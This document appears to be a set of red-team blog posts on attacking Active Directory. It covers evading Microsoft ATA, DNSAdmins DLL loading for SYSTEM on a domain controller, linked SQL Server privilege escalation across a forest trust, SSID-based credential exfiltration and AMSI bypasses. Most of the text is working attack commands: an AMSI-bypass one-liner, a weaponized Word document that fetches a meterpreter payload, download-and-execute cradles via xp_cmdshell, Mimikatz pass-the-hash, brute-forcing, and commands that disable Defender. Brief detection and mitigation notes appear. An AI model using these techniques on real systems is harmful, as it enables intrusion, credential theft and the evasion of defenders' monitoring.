Week of Evading Microsoft ATA - Announcement and Day 1

I have been playing with Microsoft Advanced Threat Analytics (ATA) for past few months. I found it useful for Blue Teams and scary as a Red Teamer as it detects many Active Directory (AD) tools and techniques. Naturally, I needed ways to bypass it and that is something which motivated me to spend weekends and nights looking for ways out. I found some methods to bypass ATA, some to avoid it and some to attack the ATA installation. 

I gave a talk about Evading Microsoft ATA for Active Directory Dominance at Black Hat USA last week (slides at the end of the post) and would speak at 44CON and BruCON on some of the additional research I am doing. 

What I found mostly during my research was it is not really difficult to evade detection by ATA as long as we are not running tools blindly without understanding what they do. So, to generate interest on using offensive tools more wisely and modifying techniques based on the detection mechanisms, in addition to my talks at multiple conferences, I announce a Week of Evading Microsoft ATA beginning from 7th of August 2017.

We will see interesting stuff the whole week which includes whatever discussed in my talk and more:

Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket

Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts

Day 4 - Bypasses/avoidance by reducing conversation with the DC

Day 5 - Attacking ATA deployment, limitations of research and mitigation

Let's get started with Day 1:

What is ATA?

ATA is a platform which listens to certain protocols going to the Domain Controllers (DC) of a domain. It can integrate with syslog, SIEM etc. It can detect attacks based on anomaly and user behaviour. AFAIK, for anomaly detection there is no learning period for some attacks (one week for certain attacks) and for behavioural detection there is a learning period of 21 days. We are going to focus only on the anomaly based attacks.

ATA Architecture

ATA needs to see the traffic being sent to the DC. Here is how it looks like:

ATA Gateway is that part which reads the traffic and parses it. ATA Center is that part which stores the parsed traffic, do analysis, stores everything in a mongodb and hosts ATA console where we can see alerts. The Gateway can either be a separate box or a lightweight one which can be installed on to a DC. More on architecture here.

Lab Setup

The lab setup uses a Lightweight ATA Gateway with ATA 1.8 (started with 1.7) which is the latest at the time of writing - 30th July 2017.  I use this installation in my PowerShell and Active Directory training and therefore, the installation has been tested by more than 400 hackers and infosec professionals in last 7 months. 

What attacks can ATA detect?

Many! Have a look at this link: What threats does ATA look for?

The attacks which we are interested in:

Recon

- Account enumeration

- NetSession enumeration

- Directory services enumeration. 

Above attacks result in enumeration of users, computers, group membership, sessions etc. 

Compromise Credentials

- Brute-force

- Unusual protocol implementation

Lateral Movement

- Pass the ticket

- Pass the hash

- Overpass-the-hash

Domain Dominance

- Golden Ticket

- Malicious replication requests

Once we understand the architecture, let's jump in and have a look at various attacks. We will follow a simple "attack chain" where we begin with a normal domain user privileges and then work our way up to domain dominance. We will see ATA detects us and how it can be bypassed at each step.

Recon

We assume that we have a normal domain user privileges. We start with the domain enumeration and try to list computers, group membership of domain admins etc. This enumeration is fine with ATA most of the times. But for some enumeration there are alerts. For example, if you enumerate all users and groups in a domain using PowerView, there are no alerts but if the native net.exe is used that may be detected as "Reconnaissance using directory services enumeration":

Why so? Because ATA currently detects such enumeration done using SAMR protocol which is used by net.exe. PowerView uses LDAP queries which ATA does not care about currently for enumeration. In fact, ATA is mostly interested in the authentication related data when it comes to LDAP.

To avoid detection WMI queries can also be used. This was covered by Chris Thompson (@retBandit) in his DEF CON talk:

Get all users in the domain "opsdc"

PS C:\Users\labuser\Desktop>  Get-WmiObject -Class Win32_UserAccount -Filter "Domain='opsdc' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID

Get all domain groups:

PS C:\Users\labuser\Desktop>  Get-WmiObject -Class win32_group -Filter "Domain='opsdc'"

Get membership of the Domain Admins group:

PS C:\Users\labuser\Desktop>  GGet-WmiObject -Class win32_groupUser | Where-Object {($_.GroupComponent -match "Domain Admins") -and ($_.GroupComponent -match "opsdc")} | %{[wmi]$_.PartComponent}

Because we have enough information now, let's move ahead with some more enumeration. Let's start hunting for local admin privileges on other boxes.

PS C:\Users\labuser\Desktop>  Find-LocalAdminAccess -Verbose

Let's hunt for a machine where a DA token is available and we have local admin privileges:

PS C:\Users\labuser\Desktop>  Invoke-UserHunter -Verbose

Both the above activities are detected by ATA as Reconnaissance using SMB session enumeration:

Now, if we look at the alert closely. ATA complains about Recon against only the DC. What does that mean? That means, if we gather the information from the DC but do not run user hunting against the DC it would be possible to bypass this detection. To avoid running user hunting against the DC, we need to use the -ComputerFile parameter of Invoke-UserHunter or Find-LocalAdminAccess and provide a list of computers which does not contain the name or IP of the DC.

PS C:\Users\labuser\Desktop>  Invoke-UserHunter -ComputerFile .\computers.txt -Verbose

This is how it looks like in the lab:

And above will not be detected by ATA! A simple but effective bypass ;) As long as we keep our communication with the DC minimum, chances of detection would be low.

Another enumeration technique, not caught by ATA right now, is using SPN scanning. Read this article to know more about SPNs. We will touch SPN scanning on Day 4.

PS C:\Users\labuser\Desktop>  Get-NetUser -SPN 

Brute-Force

Once we know a machine where token of a DA is available, we may like to have local admin access to it so as to possibly extract credentials (hashes, keys or passwords) for the DA and use that. There are so many ways to achieve it. Since we already have a list of users, let's try brute-force attack against all the users in the domain. This is how a detection looks like:

We will use only one password and therefore, a single attempt against all the users. This is a well known technique. We will use Invoke-BruteForce from Nishang for this:

PS C:\Users\labuser\Desktop>  Invoke-BruteForce -ComputerName 192.168.0.1 -UserList .\users.txt -PasswordList .\pass.txt -Verbose -Service ActiveDirectory

And this doesn't get detected! I have another brute-force bypass under research and I will present that during my talk at BruCON.

Once we have local admin credentials (brute-force) or access (Find-LocalAdminAccess) to the box where DA tokens are available, we will pull the credentials for DA. That will be covered on Day 2 :)

Hope you enjoyed the post!

The slides of the BlackHat talk are below:

https://www.slideshare.net/nikhil_mittal/evading-microsoft-ata-for-active-directory-domination

Evading Microsoft ATA for Active Directory Domination from Nikhil Mittal

Abusing DNSAdmins privilege for escalation in Active Directory

UPDATE (November 2021) - After more than 4 years, Microsoft has acknowledged this is as a vulnerability and released a patch. This is now CVE-2021-40469!

 

Yesterday, I read this awesome post by Shay Ber here which details a feature abuse in Windows Active Directory (AD) environment.  I rely heavily on feature abuse during my red team engagements and always recommend them over memory corruption exploits during my training as well. Feature abuses are as lethal as exploits and are almost always ignored.

The post details a feature abuse in AD where a user who is member of the DNSAdmins group or have write privileges to a DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server. Since, many enterprise setups use the Domain Controller (DC) as a DNS server as well, this is a very interesting find. Let's try to  see the practical usage of this feature.

This is the lab setup. We have initial access as a normal domain user (labuser) on one of the boxes in our lab AD.

Let's first enumerate users who are part of the DNSAdmins group using PowerView.

PS C:\>  Get-NetGroupMember -GroupName "DNSAdmins"

In a real red team or pentest, the next step would be to target the buildadmin user. We can find a box where token of buildadmin is available using Invoke-UserHunter from PowerView.

PS C:\>  Invoke-UserHunter -UserName buildadmin

To keep the discussion on the topic at hand, let's assume that we found a box where a ticket of buildadmin is available and our current user (labuser) has local admin access as well (derivative admin). So, we have privileges of the user who is a member of the DNSAdmins group.

Now, there could be two scenarios - one where the DC is the DNS server as well and second, where a separate server acts as the DNS server.

For the first scenario, where the DNS Server service is running on the DC we can simply use dnscmd as mentioned in the post by Shay to load a dll. There is also a PowerShell module - dnsserver - for this but it is not well documented.

Before we discuss the dll to be used, there is a catch which the above referenced post didn't address. If we have a look at the MS-DNSP protocol specification, the ServerLevelPluginDll needs an absolute pathname. That means, it is not possible to load a DLL from a UNC path. We must load the DLL from the local machine. I tried UNC paths, HTTP etc. without any success. This actually spoils the attack to much extent as we will need write privileges on the DC :/ I actually though of not writing this post after discovering this but decided to write it anyway so that others do not spend time looking for the same thing. Also, that is how one learns :) I will be glad if someone smarter than me finds out a way to do this remotely.

UPDATE: Benjamin confirmed that it is possible to load the DLL from UNC path. The 'C$' in my UNC path was the problem!

We can use the below command to load the DLL. The path \\ops-build\dll should be readable by the DC:

PS C:\>  dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll

For debugging (admin rights required on the target), below command can be used to check if DLL was added successfully on the target

PS C:\>  Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

Now, since our user is a part of the DNSAdmins, we can restart the DNS service. While, this is NOT the default configuration, it makes sense for such a user to have the rights to restart the DNS service. But, the service restart must be done from the local box, that is, DC in the current scenario. We need administrator rights to do it remotely  - the attack gets more typical and hard to execute :(

C:\> sc \\ops-dc stop dns
C:\> sc \\ops-dc start dns

So what do we get after successfully executing the above commands? Benjamin quickly updated mimilib to be used with this attack. The updated version of mimilib when used in this attack logs all DNS queries to C:\Windows\system32\kiwidns.log

We can make changes to kdns.c to include capability of command execution. I included a simple line of code to execute a reverse PowerShell shell encoded using Invoke-Encode from Nishang. The payload gets executed for each query to the DNS service and the kiwidns.log will still be created and populated.

 

On our listener:

Neat! SYSTEM on the domain controller. We own this domain and possibly the entire forest :D

For our second scenario, if DNS service was not running on the DC we can still get SYSTEM access on the box with 'only' the privileges of DNSAdmins and restarting the DNS service.

How to detect the attack? 

To prevent the attack, audit ACL for write privilege to DNS server object and membership of DNSAdmins group. 

Obvious indicators like DNS service restart and couple of log entries:

DNS Server Log Event ID 150 for failure and 770 for success

Microsoft-Windows-DNS-Server/Audit Log Event ID 541 for both success and failure.

Monitoring changes to HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll will also help.


Hope you liked the post. Please leave feedback and comments.

Using SQL Server for attacking a Forest Trust

Recently I started playing with the awesome PowerUpSQL tool by guys at NetSPI. I was interested in the ability to attack an Active Directory (AD) environment using access to a SQL Server, that is, not leaving the database layer as long as possible. Fortunately, during a Red team engagement few weeks back, I had a chance to play with PowerUpSQL extensively. Turns out that it is very much possible to enumerate and attack not only the current domain but a trusting forest in a Two-Way External Trust as well from the database layer. Let's have a look at it!

Network Diagram

I have mapped the client network to my lab on a much smaller scale.  We have access to the SQL Server ops-sqlsrvone where we have public privileges and can communicate to only selected machines on the defensiveps.com forest. 

Cross Forest Enumeration

It is possible to enumerate the current domain accounts using PowerUpSQL using interesting fuzzing methods. In our lab setup we know that there is a trust relationship from offensiveps with a forest called defensiveps (we can use PowerView, netdom or Get-ADTrust). But PowerUpSQL does not provide a way of specifying an alternate domain to enumerate accounts. We can change a single variable in the code to use an alternate domain.

Now, it is possible to enumerate interesting information from the target domain which is in a different forest. After modifying the value of $Domain variable, import the PowerUpSQL module and run the below command:

PS C:\> Get-SQLFuzzDomainAccount -Instance ops-sqlsrvone -StartId 500 -EndId 5000

Neat! We got a list of target domain's users, groups, computers etc.

The enumeration done above helped in listing SQL Servers in the defensiveps domain. Now, mimicking the network I encountered during the assessment, it is possible to access only dps-sqlsrvdev, couple of DCs and some terminal servers in the defensiveps network directly. So, let's enumerate dps-sqlsrvdev:

Database logins

PS C:\> Get-SQLFuzzServerLogin -Instance dps-sqlsrvdev

Note that our current user is listed as a login above and that is why it is possible to enumerate the above. Let's check the current privileges we have:

PS C:\> Get-SQLServerInfo -Instance dps-sqlsrvdev

No sysadmin privileges. We can check it manually as well (I am using HeidiSQL as a client):

We can go ahead with a brute-force attack as there are some interesting SQL server logins and generally, account lockouts are not enabled in SQL Server databases and nobody really looks at the logs of authentication failure in SQL Server, at least, on non-production servers. But we are not going to do that right now.

Linked Servers

We can also enumerate linked servers for dps-sqlsrvdev. Let's do it:

PS C:\> Get-SQLServerLink -Instance dps-sqlsrvdev

Nice! A server, dps-sqlsrvtwo, in the defensiveps domain - which we enumerated earlier as well - is linked to the current database. Note that it is possible to run arbitrary SQL queries on the linked database even if we have only public privileges on both the initial and destination servers with the privileges configured in the link. Read more about hacking SQL Server links in the amazing blog by Antti. Link enumeration can be done manually as well:

select * from master..sysservers

So, dps-sqlsrvdev has a linked server dps-sqlsrvtwo.

Now, to execute queries on the destination server (dps-sqlsrvtwo) we can use Openquery as suggested by Antti in the blog linked above. Let's see our current user and if we have sysadmin privileges:

select * from openquery("dps-sqlsrvtwo",'select @@version')
select * from openquery("dps-sqlsrvtwo",'select SUSER_NAME()')
select * from openquery("dps-sqlsrvtwo",'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery("dps-sqlsrvtwo",'select IS_SRVROLEMEMBER(''public'')')

Turns out that we have only public privileges with a user called dbuser and the target server is SQL Server 2016 SP1.

Now, we can try various methods from PowerUpSQL for privilege escalation on SQL Server. The problem is we can't access dps-sqlsrvtwo directly and AFAIK, there is no way to execute these commands on a linked server using the tool. So, we need to try the methods manually, one by one. During the Red Team assessment, I found out a user which we can impersonate on a linked server. So, let's use that in our lab setup as well. To list all the users which we can impersonate from our current user can be listed using the following SQL query stolen directly from this amazing blog by Scott. We are going to use the query inside Openquery so that it can be executed on the linked server:

select * from openquery("dps-sqlsrvtwo",'SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''')

Looks like we can impersonate a user called "reportsuser". But a command like below is most likely to fail:

select * from openquery("dps-sqlsrvtwo",'EXECUTE AS LOGIN = ''reportsuser'';select IS_SRVROLEMEMBER(''sysadmin'')')

Why? Because, apparently, it is not possible to use EXECUTE AS without getting our privileges revert to the original 'dbuser'. I tried WITH NO REVERT option as well but soon realized that it may work only when sending the query directly to a database. Please see this MSDN documentation on EXECUTE AS.

No luck there! Let's look for another interesting privilege escalation avenue - trustworthy database. Read this very useful blog, once again by Scott, to understand more about trustworthy database. We can use the following query - taken from the blog referenced above -  to enumerate trustworthy databases on the target linked server:

select * from openquery("dps-sqlsrvtwo",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')

A trustworthy database 'reports_db'! Let's list users with db_owner role on the server:

select * from openquery("dps-sqlsrvtwo",'SELECT  members.name as ''members_name'', roles.name as ''roles_name'' FROM sys.database_role_members rolemem INNER JOIN sys.database_principals roles ON rolemem.role_principal_id = roles.principal_id INNER JOIN sys.database_principals members ON rolemem.member_principal_id = members.principal_id where roles.name = ''db_owner'' ORDER BY members.name')

Now, let's see if our current user - dbuser - is db_owner of reports_db on the linked server. In place of checking the role, let's try to create a stored procedure in the reports_db database which can help us in privilege escalation. Please note that to create a stored procedure RPC Out must be enabled for the linked server - which is not enabled by default but quite common in case of linked servers. The idea is to create a stored procedure which gets executed as OWNER which is the user 'sa'. Use below query to create a stored procedure on the linked database.

EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''dbuser'',''sysadmin''') AT "DPS-SQLSRVTWO"

Our stored procedure makes dbuser a sysadmin. Now, let's execute the stored procedure.

EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "DPS-SQLSRVTWO"

Neat! Now we can access all databases and tables on the target server. PowerUpSQL provides very useful commands for pillaging a database (and that is what I used first in the assessment to capture some juicy data) but we are not going to use them. See this blog post for details about that.

In many cases, this is one of the major goals of red team assessments, staying within the database layer we have access to multiple SQL servers across forest trust and juicy information stored within them. Since we have not done anything very unusual or noisy up to now, there are very low chances of detection. In fact, in my lab I have Microsoft Advanced Threat Analytics (ATA) set up and there was no detection of the attack. Obviously, because we did not communicate to the domain controller at all and ATA looks at only the DC traffic. Take that ATA!

Since, RPC Out is enabled on the linked server and we have sysadmin privileges, it is possible to enable xp_cmdshell and achieve OS command execution! Please note that if xp_cmdshell was already enabled on the linked server, we could execute OS commands without RPC Out while using only Openquery! Use below to enable xp_cmdshell

EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "dps-sqlsrvtwo"

And let's see the privileges of the database process:

Great! Looks like the SQL server process is running with a domain user (sqlprodadmin) privileges. We can now hunt for a DA token from the normal domain user privileges we have on dps-sqlsrvtwo. Let's use the awesome PowerView for the DA token hunting. Remember that we cannot access our linked server dps-sqlsrvtwo directly and we do not have command execution on dps-sqlsrvdev. To load PowerView on dps-sqlsrvtwo, we can download and execute it in memory using PowerShell one-liner.

iex (New-Object Net.WebClient).DownloadString('http://yourwebserver/PowerView.ps1')

The one-liner needs to be encoded so that the URL doesn't mess up with the syntax of SQL query. Also, make sure that PowerView is modified a bit to include call to functions in the script itself and to receive the output the function calls must be piped to Out-Host.

And let's execute the encoded command:

Awesome! Looks like on the server dps-srvjump a DA token is available and our current user has local admin access. Let's dump NTLM hash of the DA - Administrator from dps-srvjump using Invoke-Mimikatz.

Finally, let's use these hashes with Invoke-Mimikatz to run a command on the DC of defensiveps. The DC of defensiveps is accessible from our machine in the offensiveps forest.

PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth user:Administrator /domain:defensiveps.com /ntlm:ntlmhash /run:powershell.exe"

Bingo! DA access in the target forest!

We started with a non-admin domain user and worked our way to multiple SQL Servers while staying only at the database layer. We also got domain admin/enterprise admin in a trusting forest! :)

Mitigations

SQL Server Level

Multiple common mitigations like having limited linked databases and not enabling RPC Out on linked servers would have helped. Also, restricted allocation of privileges, even the public login, will help. One of the databases we encountered later on was running with a domain user's privileges. This is disastrous as it opens up many opportunities for privilege escalation on the domain level! Restricting privileges with which the database processes run is always desired.

Forest Level

Many improvements can be made. Allowing a local administrator on a box where a Domain Admin can log in is very very dangerous and results in disastrous situations like the one we saw above. If there is a box where DAs' privileges are required no other administrative account should be present. Logs will also tell you about a successful DA authentication from a forest if someone is looking for such information. Also, Selective Authentication can help in forest trust scenarios.

A note on ATA

I have Microsoft ATA setup in the lab where all the attacks took place. Since, ATA is the new sheriff in town let's discuss it a bit. ATA detect anomalies by looking at the traffic destined to the DC(s) by port mirroring. If we can limit ourselves to those attacks and techniques where there is no or minimal interaction with a DC, it is possible to avoid ATA and still get access to the most interesting machines and information. ATA thrives on Red Teamer/attacker's desire of going for DA rights as soon as possible. It is not always necessary to go after DA and use Golden ticket/Skeleton key/Credentials replay attacks for achieving the goal of an assessment unless, of course, you want to brag about it in your report :D Of course, there are bypasses for ATA as well but why bypass it when you can avoid it :)

Hope you enjoyed the post. Please leave comments, feedback and questions.

Exfiltration of User Credentials using WLAN SSID

I was playing with Windows Hosted Network feature couple of days back. A hopefully useful idea which came to my mind was using the name of the hosted SSID for exfiltration. Since, SSID names support maximum 32 bytes the choice of data to exfiltrate is not really wide. Something like user credentials is small enough to fit in this limited space.

I wrote a PowerShell script which allows use to exfiltrate data using only SSID names. I give you Invoke-SSIDExfil.ps1. Here is the source code. This script provides for multiple options to exfiltrate data. Since, we are mostly after user credentials, the script uses logic from Invoke-CredentialsPhish to show a credentials prompt to the user to capture credentials in clear text. The captured credentials are then encoded using ROT13 (not going to call ROT13 encryption though that may be the technically correct term) and a Windows Hosted Network is created and started with SSID name set as to the encoded value in the form Domain:Username:Password. Below is the script in action. Please note that the script must be executed from an elevated shell:

PS C:\> Invoke-SSIDExfil -Verbose

And this is how  - if we are in physical proximity of the target - the SSID looks like:

Now, we can decode the user credentials using Invoke-SSIDExfil script's -Decode option.

Neat! From my past experience, such scripts are useful for impressive demonstrations.

The script can be used as a payload in targeted client side attacks, Human Interface Devices (Kautilya), authenticated command execution and other techniques.

Using the -StringToExfiltrate and -ExfilOnly parameters, it is also possible to exfiltrate a small piece of data without showing a credential prompt to the user.

An update to the Gupt-Backdoor

While working on this script, I revisited Gupt-Backdoor. That backdoor is quite impressive as well when it comes to demonstrations. I blogged about it here. An improvement to that backdoor has been added which allows to pass a one line PowerShell downloand and execute cradle for PowerShell v3 onwards. Also, ROT13 encoding has been implemented to make SSID names less suspicious. Below command can be used to start the backdoor on a target and tell that an encoded command will be provided to it:

PS C:\> Gupt-Backdoor -MagicString op3n -EncodedCmd -Verbose

And this is how a Wireless AP can be started to send instructions to the backdoor.

And the execution looks like below. The backdoor downloads and executes Get-WLAN-Keys from Nishang:

Small but useful improvements!

Hope you enjoyed the post! Please leave feedback and comments.

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It

Update (23-Dec-2016) - I have implemented the publicly known AMSI bypasses described in this post in a PowerShell script Invoke-AmsiBypass. Check it out here https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1


Last month I gave a talk about Microsoft's AntiMalware Scan Interface (AMSI) at Black Hat USA. The talk and this post details my experiments with AMSI.

I first encountered AMSI while using some of the PowerShell scripts from Nishang on a Windows 10 box in my lab. I noticed that some of the scripts didn't work even if loaded from memory which was very interesting. Being a long time user of PowerShell in my pen tests, I was interested in the technique being used to detect scripts from Nishang in memory. After a quick search, I stumbled upon this excellent TechNet article which introduces AMSI. From that article, this article and documentation of AMSI, following detection abilities and features are claimed with AMSI:

• Memory and Stream scanning. This means that the input method - disk, memory/stream or manual input makes no difference on the detection capabilities.
• Scripts are submitted to the AntiVirus/AntiMalware product by AMSI when the de-obfuscated plain code is presented to the script host. This means that obfuscation should help only to a limited extent.
• Since the scripts are "picked up" when submitted to the scripting host, code which doesn't utilize powershell.exe but uses System.Automation DLL will also be analyzed.

And when I tested AMSI with different tools and techniques, detection rate was indeed better than what I expected.

Major techniques which were tested and detected by AMSI:

Executing scripts from memory - Using the -EncodedCommand parameter of powershell.exe and the famous one liner download-execute.

Execution of everyone's favorite, Invoke-Mimikatz:
When AMSI was disabled:

PS C:\> Set-MpPreference -DisableIOAVProtection $true

When AMSI was enabled (default on Windows 10):

Executing scripts without using powershell.exe - Using separate runspace (p0wnedshell, psattack) and using System.Automation.Dll (nps, Powerpick)

Unusual Storage - Scripts loaded from WMI namespaces, Registry Keys and Event Logs.

Application whitelisting bypass methods - InstallUtil, regsrv32 and rundll32

All of the techniques were detected by AMSI! While the detection was no surprise given that AMSI steps in at the script host level, still, this looked intimidating! More so because Windows Defender supports AMSI by default on Windows 10.  I quickly started looking for different ways to avoid or bypass AMSI.  Turned out that there are bunch of techniques that can be used to bypass or avoid AMSI.

Bypass or Avoid AMSI

Force use PowerShell v2: PowerShell v2 doesn't support AMSI at the time of writing. If .Net 3.0 is available on a target Windows 10 machine - which is not default - PowerShell v2 can be started  with the -Version option.

 

Obfuscation

Another interesting way is to change the signature of the PowerShell script so that the AntiVirus to which AMSI submits our script doesn't detect it as malicious. To play with the signatures Windows Defender have for scripts, lets play with one of the scripts from Nishang, Gupt-Backdoor, which gets detected as malicious by AMSI.

Lets remove the help section, all the functionality and replace the function and variable names with random strings.

 And the result is:

Apparently, among other things, Windows Defender looks for specific function and variable names. Actually, this should not be a surprise as I know of few antiviruses which use Twitter handles of PowerShell hackers as a signature.

Manual obfuscation of a huge script such as Invoke-Mimikatz could not be done manually. Fortunately, the obfuscate functionality of the awesome ISE-Steroids module is very effective! Lets obfuscate Invoke-Mimikatz from Nishang.

Now, when the obfuscated version is loaded, there is no detection.

Bingo!

Make sure that the function calls are made from the script before obfuscation. 
This is very interesting! As per the articles mentioned at beginning of this post, AMSI has additional calls if any sort of obfuscation, even base64, is used in the script.This obfuscation getting past AMSI has been a sort of mystery for me.This probably has more to do with the signatures available with Windows Defender than with AMSI. I welcome comments on this specific thing as I am unable to understand why Invoke-Mimikatz was not detected if the plain de-obfuscated code was submitted to AMSI.

Unload AMSI

Set-MpPreference
This built-in cmdlet can be used to make AMSI ineffective by disabling protection offered by Windows Defender.

Below command can be used to disable real time monitoring for Windows Defender

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true

There are some 'gotchas' with the technique though:

• A notification is shown to the user
• Needs to be run from an elevated shell
• Event ID 5001 (Microsoft-Windows-Windows Defender/Operational) - Windows Defender Real-Time Protection was disabled.

Another command can be used, this is useful for avoiding detection of in-memory download execute one liner.

PS C:\> Set-MpPreference -DisableIOAVProtection $true

This command doesn't show any notification to the user but:

• An elevated shell is still required and;
• Event ID 5004 (Microsoft-Windows-Windows Defender/Operational)  - Windows Defender Real-Time Protection feature (IE Downloads and Outlook Express attachments) configuration has changed.

DLL Hijacking - Method used in p0wnedshell

Cornelis de Plaa (@Cneelis) discovered this brilliant method and implemented it in his awesome p0wnedshell. There is a detailed blog post about the method. It is a DLL hijacking method where amsi.dll is dropped in the current working directory while loading the p0wnedshell runspace. The dll is loaded by the runspace and exits immediately to unload AMSI. 

So p0wnedshell successfully bypasses AMSI. But there is another interesting part of the security mechanism, PowerShellv5 supports automatic script block logging. The scripts loaded by p0wnedshell generate Event ID 4104 (Microsoft-Windows-PowerShell/Operational) – Suspicious script block logging (due to successful loading of scripts in memory).

Reflection - Matt Graeber's method
Matt Graeber (@mattifestation) tweeted an awesome one line AMSI bypass. Like many other things by Matt, this is my favorite. It doesn't need elevated shell and there is no notification to the user but the automatic script block logging, like in the case of p0wnedshell, generates Event ID 4104. Turns out that it is the script block logging which is the real headache. There are a bunch of script logging bypasses I am aware of, discovered by other PowerShell hackers, but not public yet.

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Anyway, I like this method because it can be used with existing PowerShell script execution methods.
For example, lets bypass AMSI using a client side attack and get a meterpreter on the target Windows 10 box. Lets generate a weaponized MS Word document using Nishang's Out-Word and instruct it to download and execute a PowerShell meterpreter.

PS C:\test> Out-Word -Payload 'powershell.exe -ExecutionPolicy Bypass -noprofile [Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true);iex(New-Object Net.WebClient).DownloadString(''http://192.168.230.1/msfpayload.ps1'')' -RemainSafe

As soon as a target opens the Word file and click on "Enable Content", this happens:

Sweet! We bypassed AMSI in a client side attack!

AMSI is certainly not the security silver bullet which many organizations (wrongly) keep looking for but it is indeed an improvement in Windows security.

My slides for the Black Hat preso are here:
http://www.slideshare.net/nikhil_mittal/amsi-how-windows-10-plans-to-stop-scriptbased-attacks-and-how-well-it-does-it

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It from Nikhil Mittal

Hope this was useful. Please leave feedback and comments!